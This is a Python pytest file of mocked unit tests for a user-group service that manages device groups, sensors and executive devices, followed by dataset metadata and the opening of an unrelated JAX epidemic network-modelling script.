'get_user_by_id') as get_user_by_id_mock:
get_user_by_id_mock.return_value = user
with patch.object(UserGroupRepository,
'get_user_groups_by_device_group_id'
) as get_user_groups_by_device_group_id_mock:
get_user_groups_by_device_group_id_mock.return_value = [first_user_group,
second_user_group,
third_user_group]
with patch.object(DeviceGroupRepository,
'get_device_group_by_user_id_and_product_key'
) as get_device_group_by_user_id_and_product_key_mock:
get_device_group_by_user_id_and_product_key_mock.return_value = device_group
result, result_values = user_group_service.get_list_of_user_groups(
device_group.product_key,
user.id,
False
)
assert result == Constants.RESPONSE_MESSAGE_OK
assert result_values['userGroups'] == expected_output_values
def test_get_list_of_user_groups_should_return_list_of_user_groups_names_when_valid_request_and_user_is_admin(
create_device_group,
create_admin,
get_user_group_default_values,
create_user_group,
):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
admin = create_admin()
first_user_group_values = get_user_group_default_values()
second_user_group_values = get_user_group_default_values()
third_user_group_values = get_user_group_default_values()
first_user_group_values['name'] = 'first'
second_user_group_values['name'] = 'second'
third_user_group_values['name'] = 'third'
first_user_group = create_user_group(first_user_group_values)
second_user_group = create_user_group(second_user_group_values)
third_user_group = create_user_group(third_user_group_values)
device_group.user_groups = [first_user_group, second_user_group, third_user_group]
expected_output_values = [
{'isAssignedTo': False, 'name': 'first'},
{'isAssignedTo': False, 'name': 'second'},
{'isAssignedTo': False, 'name': 'third'},
]
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(AdminRepository,
'get_admin_by_id') as get_admin_by_id_mock:
get_admin_by_id_mock.return_value = admin
with patch.object(UserGroupRepository,
'get_user_groups_by_device_group_id'
) as get_user_groups_by_device_group_id_mock:
get_user_groups_by_device_group_id_mock.return_value = [first_user_group,
second_user_group,
third_user_group]
with patch.object(DeviceGroupRepository,
'get_device_group_by_user_id_and_product_key'
) as get_device_group_by_user_id_and_product_key_mock:
get_device_group_by_user_id_and_product_key_mock.return_value = device_group
result, result_values = user_group_service.get_list_of_user_groups(
device_group.product_key,
admin.id,
True
)
assert result == Constants.RESPONSE_MESSAGE_OK
assert result_values['userGroups'] == expected_output_values
def test_get_list_of_user_groups_should_return_return_error_message_when_user_is_admin_in_different_device_group(
create_device_group,
create_admin,
get_user_group_default_values,
create_user_group,
):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
device_group.admin_id += 1
admin = create_admin()
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(AdminRepository,
'get_admin_by_id') as get_admin_by_id_mock:
get_admin_by_id_mock.return_value = admin
result, result_values = user_group_service.get_list_of_user_groups(
device_group.product_key,
admin.id,
True
)
assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES
assert result_values is None
def test_get_list_of_user_groups_should_return_return_error_message_when_admin_not_found(
create_device_group,
get_user_group_default_values,
create_user_group,
):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(AdminRepository,
'get_admin_by_id') as get_admin_by_id_mock:
get_admin_by_id_mock.return_value = None
result, result_values = user_group_service.get_list_of_user_groups(
device_group.product_key,
'admin.id',
True
)
assert result == Constants.RESPONSE_MESSAGE_ADMIN_NOT_DEFINED
assert result_values is None
def test_get_list_of_user_groups_should_return_error_message_when_user_not_in_any_user_group(
create_device_group,
create_user,
get_user_group_default_values,
create_user_group,
):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
user = create_user()
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(UserRepository,
'get_user_by_id') as get_user_by_id_mock:
get_user_by_id_mock.return_value = user
with patch.object(DeviceGroupRepository,
'get_device_group_by_user_id_and_product_key'
) as get_device_group_by_user_id_and_product_key_mock:
get_device_group_by_user_id_and_product_key_mock.return_value = None
result, result_values = user_group_service.get_list_of_user_groups(
device_group.product_key,
user.id,
False
)
assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES
assert result_values is None
def test_get_list_of_user_groups_should_return_error_message_when_device_group_not_found(
create_device_group
):
user_group_service = UserGroupService.get_instance()
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = None
result, result_values = user_group_service.get_list_of_user_groups(
'device_group.product_key',
'user.id',
False
)
assert result == Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND
assert result_values is None
@pytest.mark.parametrize("product_key, user_id, expected_result", [
('product_key', None, Constants.RESPONSE_MESSAGE_USER_NOT_DEFINED),
(None, 'user_id', Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND)
])
def test_get_list_of_user_groups_should_return_error_message_when_one_of_parameters_is_none(
product_key, user_id, expected_result
):
user_group_service = UserGroupService.get_instance()
result, result_values = user_group_service.get_list_of_user_groups(
product_key,
user_id,
False
)
assert result == expected_result
assert result_values is None
def test_get_list_of_executive_devices_should_return_list_of_devices_infos_when_valid_request(
create_executive_device,
create_device_group,
create_user_group,
create_user,
create_formula):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
first_device = create_executive_device()
first_device.name = "device 1"
first_device.device_key = "device key 1"
first_device.state = "state 1"
first_device.is_active = False
formula = create_formula()
formula.name = "formula name"
first_device.formula_id = formula.id
second_device = create_executive_device()
second_device.name = "device 2"
second_device.device_key = "device key 2"
second_device.state = "state 2"
second_device.is_active = True
second_device.formula_id = formula.id
user = create_user()
user_group = create_user_group()
user_group.users = [user]
expected_output_values = [
{
"name": first_device.name,
"deviceKey": first_device.device_key,
"state": 1,
"isActive": first_device.is_active,
"formulaName": formula.name,
"isFormulaUsed": first_device.is_formula_used
},
{
"name": second_device.name,
"deviceKey": second_device.device_key,
"state": 1,
"isActive": second_device.is_active,
"formulaName": formula.name,
"isFormulaUsed": second_device.is_formula_used
}
]
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(UserGroupRepository,
'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock:
get_user_group_by_name_device_group_id_mock.return_value = user_group
with patch.object(UserRepository,
'get_user_by_id') as get_user_by_id_mock:
get_user_by_id_mock.return_value = user
with patch.object(
ExecutiveDeviceRepository,
'get_executive_devices_by_user_group_id'
) as get_executive_devices_by_user_group_id_mock:
get_executive_devices_by_user_group_id_mock.return_value = [
first_device,
second_device]
with patch.object(FormulaRepository,
'get_formula_by_id') as get_formula_by_id_mock:
get_formula_by_id_mock.return_value = formula
with patch.object(ExecutiveDeviceService,
'get_executive_device_state_value') as get_executive_device_state_value_mock:
get_executive_device_state_value_mock.return_value = 1
result, result_values = user_group_service.get_list_of_executive_devices(
device_group.product_key,
user_group.name,
user.id
)
assert result == Constants.RESPONSE_MESSAGE_OK
assert result_values == expected_output_values
def test_get_list_of_executive_devices_should_return_list_of_devices_infos_when_device_does_not_have_formula(
create_executive_device,
create_device_group,
create_user_group,
create_user):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
first_device = create_executive_device()
first_device.name = "device 1"
first_device.device_key = "device key 1"
first_device.state = "state 1"
first_device.is_active = False
first_device.formula_id = None
second_device = create_executive_device()
second_device.name = "device 2"
second_device.device_key = "device key 2"
second_device.state = "state 2"
second_device.is_active = True
second_device.formula_id = None
user = create_user()
user_group = create_user_group()
user_group.users = [user]
expected_output_values = [
{
"name": first_device.name,
"deviceKey": first_device.device_key,
"state": 1,
"isActive": first_device.is_active,
"formulaName": None,
"isFormulaUsed": first_device.is_formula_used
},
{
"name": second_device.name,
"deviceKey": second_device.device_key,
"state": 1,
"isActive": second_device.is_active,
"formulaName": None,
"isFormulaUsed": second_device.is_formula_used
}
]
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(
UserGroupRepository,
'get_user_group_by_name_and_device_group_id'
) as get_user_group_by_name_device_group_id_mock:
get_user_group_by_name_device_group_id_mock.return_value = user_group
with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock:
get_user_by_id_mock.return_value = user
with patch.object(
ExecutiveDeviceRepository,
'get_executive_devices_by_user_group_id'
) as get_executive_devices_by_user_group_id_mock:
get_executive_devices_by_user_group_id_mock.return_value = [first_device, second_device]
with patch.object(FormulaRepository, 'get_formula_by_id') as get_formula_by_id_mock:
get_formula_by_id_mock.return_value = None
with patch.object(ExecutiveDeviceService,
'get_executive_device_state_value') as get_executive_device_state_value_mock:
get_executive_device_state_value_mock.return_value = 1
result, result_values = user_group_service.get_list_of_executive_devices(
device_group.product_key,
user_group.name,
user.id
)
assert result == Constants.RESPONSE_MESSAGE_OK
assert result_values == expected_output_values
def test_get_list_of_executive_devices_should_return_empty_list_of_devices_infos_when_not_devices_in_user_group(
create_device_group,
create_user_group,
create_user):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
user = create_user()
user_group = create_user_group()
user_group.users = [user]
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(UserGroupRepository,
'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock:
get_user_group_by_name_device_group_id_mock.return_value = user_group
with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock:
get_user_by_id_mock.return_value = user
with patch.object(
ExecutiveDeviceRepository,
'get_executive_devices_by_user_group_id'
) as get_executive_devices_by_user_group_id_mock:
get_executive_devices_by_user_group_id_mock.return_value = []
result, result_values = user_group_service.get_list_of_executive_devices(
device_group.product_key,
user_group.name,
user.id
)
assert result == Constants.RESPONSE_MESSAGE_OK
assert result_values == []
def test_get_list_of_executive_devices_should_return_error_message_when_user_not_in_user_group(
create_device_group,
create_user_group,
create_user):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
user = create_user()
user_group = create_user_group()
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(UserGroupRepository,
'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock:
get_user_group_by_name_device_group_id_mock.return_value = user_group
with patch.object(UserRepository,
'get_user_by_id') as get_user_by_id_mock:
get_user_by_id_mock.return_value = user
result, result_values = user_group_service.get_list_of_executive_devices(
device_group.product_key,
user_group.name,
user.id
)
assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES
assert result_values is None
def test_get_list_of_executive_devices_should_return_error_message_when_no_user_found(
create_device_group,
create_user_group):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
user_group = create_user_group()
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(UserGroupRepository,
'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock:
get_user_group_by_name_device_group_id_mock.return_value = user_group
with patch.object(UserRepository,
'get_user_by_id') as get_user_by_id_mock:
get_user_by_id_mock.return_value = None
result, result_values = user_group_service.get_list_of_executive_devices(
device_group.product_key,
user_group.name,
1
)
assert result == Constants.RESPONSE_MESSAGE_USER_NOT_DEFINED
assert result_values is None
def test_get_list_of_executive_devices_should_return_error_message_when_no_user_group_found(create_device_group):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(UserGroupRepository,
'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock:
get_user_group_by_name_device_group_id_mock.return_value = None
result, result_values = user_group_service.get_list_of_executive_devices(
device_group.product_key,
"user_group_name",
1
)
assert result == Constants.RESPONSE_MESSAGE_USER_GROUP_NOT_DEFINED
assert result_values is None
def test_get_list_of_executive_devices_should_return_error_message_when_no_device_group():
user_group_service = UserGroupService.get_instance()
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = None
result, result_values = user_group_service.get_list_of_executive_devices(
"device_group_product_key",
"user_group_name",
1
)
assert result == Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND
assert result_values is None
def test_get_list_of_sensors_should_return_list_of_devices_infos_when_valid_request(
create_sensor,
create_sensor_type,
create_sensor_reading,
create_sensor_reading_enumerator,
create_device_group,
create_user_group,
create_user):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
first_sensor = create_sensor()
second_sensor = create_sensor()
first_sensor.name = 'sensor 1'
second_sensor.name = 'sensor 2'
first_sensor.device_key = 'sensor device_key 1'
second_sensor.device_key = 'sensor device_key 2'
first_sensor.is_active = True
second_sensor.is_active = False
user = create_user()
user_group = create_user_group()
user_group.users = [user]
expected_output_values = [
{
"name": first_sensor.name,
"deviceKey": first_sensor.device_key,
"isActive": first_sensor.is_active,
'sensorReadingValue': 1
},
{
"name": second_sensor.name,
"deviceKey": second_sensor.device_key,
"isActive": second_sensor.is_active,
'sensorReadingValue': 1
}
]
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(UserGroupRepository,
'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock:
get_user_group_by_name_device_group_id_mock.return_value = user_group
with patch.object(UserRepository,
'get_user_by_id') as get_user_by_id_mock:
get_user_by_id_mock.return_value = user
with patch.object(
SensorRepository,
'get_sensors_by_user_group_id'
) as get_sensors_by_user_group_id_mock:
get_sensors_by_user_group_id_mock.return_value = [
first_sensor,
second_sensor]
with patch.object(SensorService,
'get_senor_reading_value'
) as get_senor_reading_value_mock:
get_senor_reading_value_mock.return_value = 1
result, result_values = user_group_service.get_list_of_sensors(
device_group.product_key,
user_group.name,
user.id
)
assert result == Constants.RESPONSE_MESSAGE_OK
assert result_values == expected_output_values
def test_get_list_of_sensors_should_return_empty_list_of_sensors_infos_when_no_sensors_in_user_group(
create_device_group,
create_user_group,
create_user):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
user = create_user()
user_group = create_user_group()
user_group.users = [user]
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(UserGroupRepository,
'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock:
get_user_group_by_name_device_group_id_mock.return_value = user_group
with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock:
get_user_by_id_mock.return_value = user
with patch.object(
SensorRepository,
'get_sensors_by_user_group_id'
) as get_sensors_by_user_group_id_mock:
get_sensors_by_user_group_id_mock.return_value = []
result, result_values = user_group_service.get_list_of_sensors(
device_group.product_key,
user_group.name,
user.id
)
assert result == Constants.RESPONSE_MESSAGE_OK
assert result_values == []
def test_get_list_of_sensors_should_return_error_message_when_user_not_in_user_group(
create_device_group,
create_user_group,
create_user):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
user = create_user()
user_group = create_user_group()
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(UserGroupRepository,
'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock:
get_user_group_by_name_device_group_id_mock.return_value = user_group
with patch.object(UserRepository,
'get_user_by_id') as get_user_by_id_mock:
get_user_by_id_mock.return_value = user
result, result_values = user_group_service.get_list_of_sensors(
device_group.product_key,
user_group.name,
user.id
)
assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES
assert result_values is None
def test_get_list_of_sensors_should_return_error_message_when_no_user_found(
create_device_group,
create_user_group):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
user_group = create_user_group()
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(UserGroupRepository,
'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock:
get_user_group_by_name_device_group_id_mock.return_value = user_group
with patch.object(UserRepository,
'get_user_by_id') as get_user_by_id_mock:
get_user_by_id_mock.return_value = None
result, result_values = user_group_service.get_list_of_sensors(
device_group.product_key,
user_group.name,
1
)
assert result == Constants.RESPONSE_MESSAGE_USER_NOT_DEFINED
assert result_values is None
def test_get_list_of_sensors_should_return_error_message_when_no_user_group_found(create_device_group):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(UserGroupRepository,
'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock:
get_user_group_by_name_device_group_id_mock.return_value = None
result, result_values = user_group_service.get_list_of_sensors(
device_group.product_key,
"user_group_name",
1
)
assert result == Constants.RESPONSE_MESSAGE_USER_GROUP_NOT_DEFINED
assert result_values is None
def test_get_list_of_sensors_should_return_error_message_when_no_device_group():
user_group_service = UserGroupService.get_instance()
with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = None
result, result_values = user_group_service.get_list_of_sensors(
"device_group_product_key",
"user_group_name",
1
)
assert result == Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND
assert result_values is None
def test_delete_user_group_should_delete_user_group_when_right_parameters_are_passed(
create_user_group,
create_device_group):
user_group_service = UserGroupService.get_instance()
user_group = create_user_group()
admin_id = 1
is_admin = True
admin_mock = Mock()
admin_mock.id.return_value = admin_id
device_group = create_device_group()
device_group.admin_id = admin_mock.id
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(
AdminRepository,
'get_admin_by_id'
) as get_admin_by_id_mock:
get_admin_by_id_mock.return_value = admin_mock
with patch.object(
UserGroupRepository,
'get_user_group_by_name_and_device_group_id'
) as get_user_group_by_name_and_device_group_id_mock:
get_user_group_by_name_and_device_group_id_mock.return_value = user_group
with patch.object(
UserGroupRepository,
'delete'
) as delete_mock:
delete_mock.return_value = True
result = user_group_service.delete_user_group(user_group.name, 'product_key', admin_id, is_admin)
assert result == Constants.RESPONSE_MESSAGE_OK
delete_mock.assert_called_once_with(user_group)
def test_delete_user_group_should__return_error_message_when_unsuccessful_db_deletion(
create_user_group,
create_device_group):
user_group_service = UserGroupService.get_instance()
user_group = create_user_group()
admin_id = 1
is_admin = True
admin_mock = Mock()
admin_mock.id.return_value = admin_id
device_group = create_device_group()
device_group.admin_id = admin_mock.id
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(
AdminRepository,
'get_admin_by_id'
) as get_admin_by_id_mock:
get_admin_by_id_mock.return_value = admin_mock
with patch.object(
UserGroupRepository,
'get_user_group_by_name_and_device_group_id'
) as get_user_group_by_name_and_device_group_id_mock:
get_user_group_by_name_and_device_group_id_mock.return_value = user_group
with patch.object(
UserGroupRepository,
'delete'
) as delete_mock:
delete_mock.return_value = False
result = user_group_service.delete_user_group(user_group.name, 'product_key', admin_id, is_admin)
assert result == Constants.RESPONSE_MESSAGE_ERROR
delete_mock.assert_called_once_with(user_group)
def test_delete_user_group_should_return_error_message_when_user_group_not_found(
create_device_group):
user_group_service = UserGroupService.get_instance()
admin_id = 1
is_admin = True
admin_mock = Mock()
admin_mock.id.return_value = admin_id
device_group = create_device_group()
device_group.admin_id = admin_mock.id
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(
AdminRepository,
'get_admin_by_id'
) as get_admin_by_id_mock:
get_admin_by_id_mock.return_value = admin_mock
with patch.object(
UserGroupRepository,
'get_user_group_by_name_and_device_group_id'
) as get_user_group_by_name_and_device_group_id_mock:
get_user_group_by_name_and_device_group_id_mock.return_value = None
result = user_group_service.delete_user_group('user_group.name', 'product_key', admin_id, is_admin)
assert result == Constants.RESPONSE_MESSAGE_USER_GROUP_NAME_NOT_FOUND
def test_delete_user_group_should_return_error_message_when_admin_in_not_admin(
create_device_group):
user_group_service = UserGroupService.get_instance()
admin_id = 1
is_admin = False
admin_mock = Mock()
admin_mock.id.return_value = admin_id
device_group = create_device_group()
device_group.admin_id = admin_mock.id
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(
AdminRepository,
'get_admin_by_id'
) as get_admin_by_id_mock:
get_admin_by_id_mock.return_value = admin_mock
result = user_group_service.delete_user_group('user_group.name', 'product_key', admin_id, is_admin)
assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES
def test_delete_user_group_should_return_error_message_when_admin_in_not_assigned_to_device_group(
create_device_group):
user_group_service = UserGroupService.get_instance()
admin_id = 1
is_admin = True
admin_mock = Mock()
admin_mock.id.return_value = admin_id
device_group = create_device_group()
device_group.admin_id = admin_id + 1
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(
AdminRepository,
'get_admin_by_id'
) as get_admin_by_id_mock:
get_admin_by_id_mock.return_value = admin_mock
result = user_group_service.delete_user_group('user_group.name', 'product_key', admin_id, is_admin)
assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES
def test_delete_user_group_should_return_error_message_when_admin_in_not_found(
create_device_group):
user_group_service = UserGroupService.get_instance()
admin_id = 1
is_admin = False
device_group = create_device_group()
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(
AdminRepository,
'get_admin_by_id'
) as get_admin_by_id_mock:
get_admin_by_id_mock.return_value = None
result = user_group_service.delete_user_group('user_group.name', 'product_key', admin_id, is_admin)
assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES
def test_delete_user_group_should_return_error_message_when_device_group_not_found(
create_device_group):
user_group_service = UserGroupService.get_instance()
admin_id = 1
is_admin = False
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = None
result = user_group_service.delete_user_group('user_group.name', 'product_key', admin_id, is_admin)
assert result == Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND
def test_create_user_group_in_device_group_should_create_user_group_when_valid_product_key_user_group_data_and_user(
create_device_group):
user_group_service_instance = UserGroupService.get_instance()
device_group = create_device_group()
with patch.object(
DeviceGroupRepository,
'get_device_group_by_user_id_and_product_key'
) as get_device_group_by_user_id_and_product_key_mock:
get_device_group_by_user_id_and_product_key_mock.return_value = device_group
with patch.object(
UserGroupRepository,
'get_user_group_by_name_and_device_group_id'
) as get_user_group_by_name_and_device_group_id_mock:
get_user_group_by_name_and_device_group_id_mock.return_value = None
with patch.object(
UserGroupRepository,
'save'
) as save_mock:
save_mock.return_value = True
result = user_group_service_instance.create_user_group_in_device_group(
device_group.product_key,
'user_group_name',
'password',
'user_id'
)
assert result
assert result == Constants.RESPONSE_MESSAGE_CREATED
def test_create_user_group_in_device_group_should_return_error_message_when_save_failed(
create_device_group):
user_group_service_instance = UserGroupService.get_instance()
device_group = create_device_group()
with patch.object(
DeviceGroupRepository,
'get_device_group_by_user_id_and_product_key'
) as get_device_group_by_user_id_and_product_key_mock:
get_device_group_by_user_id_and_product_key_mock.return_value = device_group
with patch.object(
UserGroupRepository,
'get_user_group_by_name_and_device_group_id'
) as get_user_group_by_name_and_device_group_id_mock:
get_user_group_by_name_and_device_group_id_mock.return_value = None
with patch.object(
UserGroupRepository,
'save'
) as save_mock:
save_mock.return_value = False
result = user_group_service_instance.create_user_group_in_device_group(
device_group.product_key,
'user_group_name',
'password',
'user_id'
)
assert result
assert result == Constants.RESPONSE_MESSAGE_ERROR
def test_create_user_group_in_device_group_should_return_product_key_not_found_when_no_device_group():
user_group_service_instance = UserGroupService.get_instance()
with patch.object(
DeviceGroupRepository,
'get_device_group_by_user_id_and_product_key'
) as get_device_group_by_user_id_and_product_key_mock:
get_device_group_by_user_id_and_product_key_mock.return_value = None
result = user_group_service_instance.create_user_group_in_device_group(
'product_key',
'user_group_name',
'password',
'user_id'
)
assert result
assert result == Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND
def test_create_user_group_in_device_group_should_return_user_group_already_exists_when_duplicated_user_group_name(
create_device_group,
create_user_group):
user_group_service_instance = UserGroupService.get_instance()
device_group = create_device_group()
user_group = create_user_group()
with patch.object(
DeviceGroupRepository,
'get_device_group_by_user_id_and_product_key'
) as get_device_group_by_user_id_and_product_key_mock:
get_device_group_by_user_id_and_product_key_mock.return_value = device_group
with patch.object(
UserGroupRepository,
'get_user_group_by_name_and_device_group_id'
) as get_user_group_by_name_and_device_group_id_mock:
get_user_group_by_name_and_device_group_id_mock.return_value = user_group
result = user_group_service_instance.create_user_group_in_device_group(
device_group.product_key,
'user_group_name',
'password',
'user_id'
)
assert result
assert result == Constants.RESPONSE_MESSAGE_USER_GROUP_ALREADY_EXISTS
@pytest.mark.parametrize("product_key, user_group_name, user_id, password, expected_result", [
('product_key', 'user_group_name', 'user_id', None, Constants.RESPONSE_MESSAGE_WRONG_PASSWORD),
('product_key', 'user_group_name', None, 'password', Constants.RESPONSE_MESSAGE_USER_NOT_DEFINED),
('product_key', None, 'user_id', 'password', Constants.RESPONSE_MESSAGE_USER_GROUP_NOT_DEFINED),
(None, 'user_group_name', 'user_id', 'password', Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND)
])
def test_create_user_group_in_device_group_should_return_error_message_when_no_parameter_given(
product_key,
user_group_name,
user_id,
password,
expected_result):
user_group_service_instance = UserGroupService.get_instance()
result = user_group_service_instance.create_user_group_in_device_group(
product_key,
user_group_name,
password,
user_id
)
assert result
assert result == expected_result
| 38.3071 | 120 | 0.684643 | 5,480 | 44,781 | 4.998358 | 0.023175 | 0.104487 | 0.050601 | 0.057829 | 0.936183 | 0.925012 | 0.91154 | 0.902377 | 0.901062 | 0.895915 | 0 | 0.001212 | 0.262946 | 44,781 | 1,168 | 121 | 38.339897 | 0.828668 | 0 | 0 | 0.81299 | 0 | 0 | 0.085282 | 0.04953 | 0 | 0 | 0 | 0 | 0.066069 | 1 | 0.035834 | false | 0.013438 | 0.015677 | 0 | 0.051512 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3ed9557bbbef18cf35692563556455c8502841d0 | 9,324 | py | Python | networks/network_dynamics_no_interventions.py | biomac-lab/COVID_schools_dashboard | 173d1b9df5735e65ec0bf2594cf942ccbbad9f5e | [
"Apache-2.0"
] | null | null | null | networks/network_dynamics_no_interventions.py | biomac-lab/COVID_schools_dashboard | 173d1b9df5735e65ec0bf2594cf942ccbbad9f5e | [
"Apache-2.0"
] | null | null | null | networks/network_dynamics_no_interventions.py | biomac-lab/COVID_schools_dashboard | 173d1b9df5735e65ec0bf2594cf942ccbbad9f5e | [
"Apache-2.0"
] | 2 | 2021-09-25T15:37:45.000Z | 2021-10-01T17:48:28.000Z | from jax.dtypes import dtype
import jax.numpy as np
import numpy as np2
from jax import random
### No intervention functions
def morning_set(Graphs_matrix, hh_occupation=0.9):
# load networks
matrix_household = Graphs_matrix[0]
hh_row = np.asarray(np2.asarray(matrix_household[0]))
hh_col = np.asarray(np2.asarray(matrix_household[1]))
hh_data = np.asarray(np2.asarray(matrix_household[2]))
matrix_preschool = Graphs_matrix[1]
preschl_row = np.asarray(np2.asarray(matrix_preschool[0]))
preschl_col = np.asarray(np2.asarray(matrix_preschool[1]))
preschl_data = np.asarray(np2.asarray(matrix_preschool[2]))
matrix_primary = Graphs_matrix[2]
primary_row = np.asarray(np2.asarray(matrix_primary[0]))
primary_col = np.asarray(np2.asarray(matrix_primary[1]))
primary_data = np.asarray(np2.asarray(matrix_primary[2]))
matrix_highschool = Graphs_matrix[3]
highschl_row = np.asarray(np2.asarray(matrix_highschool[0]))
highschl_col = np.asarray(np2.asarray(matrix_highschool[1]))
highschl_data = np.asarray(np2.asarray(matrix_highschool[2]))
matrix_work = Graphs_matrix[4]
work_row = np.asarray(np2.asarray(matrix_work[0]))
work_col = np.asarray(np2.asarray(matrix_work[1]))
work_data = np.asarray(np2.asarray(matrix_work[2]))
matrix_community = Graphs_matrix[5]
comm_row = np.asarray(np2.asarray(matrix_community[0]))
comm_col = np.asarray(np2.asarray(matrix_community[1]))
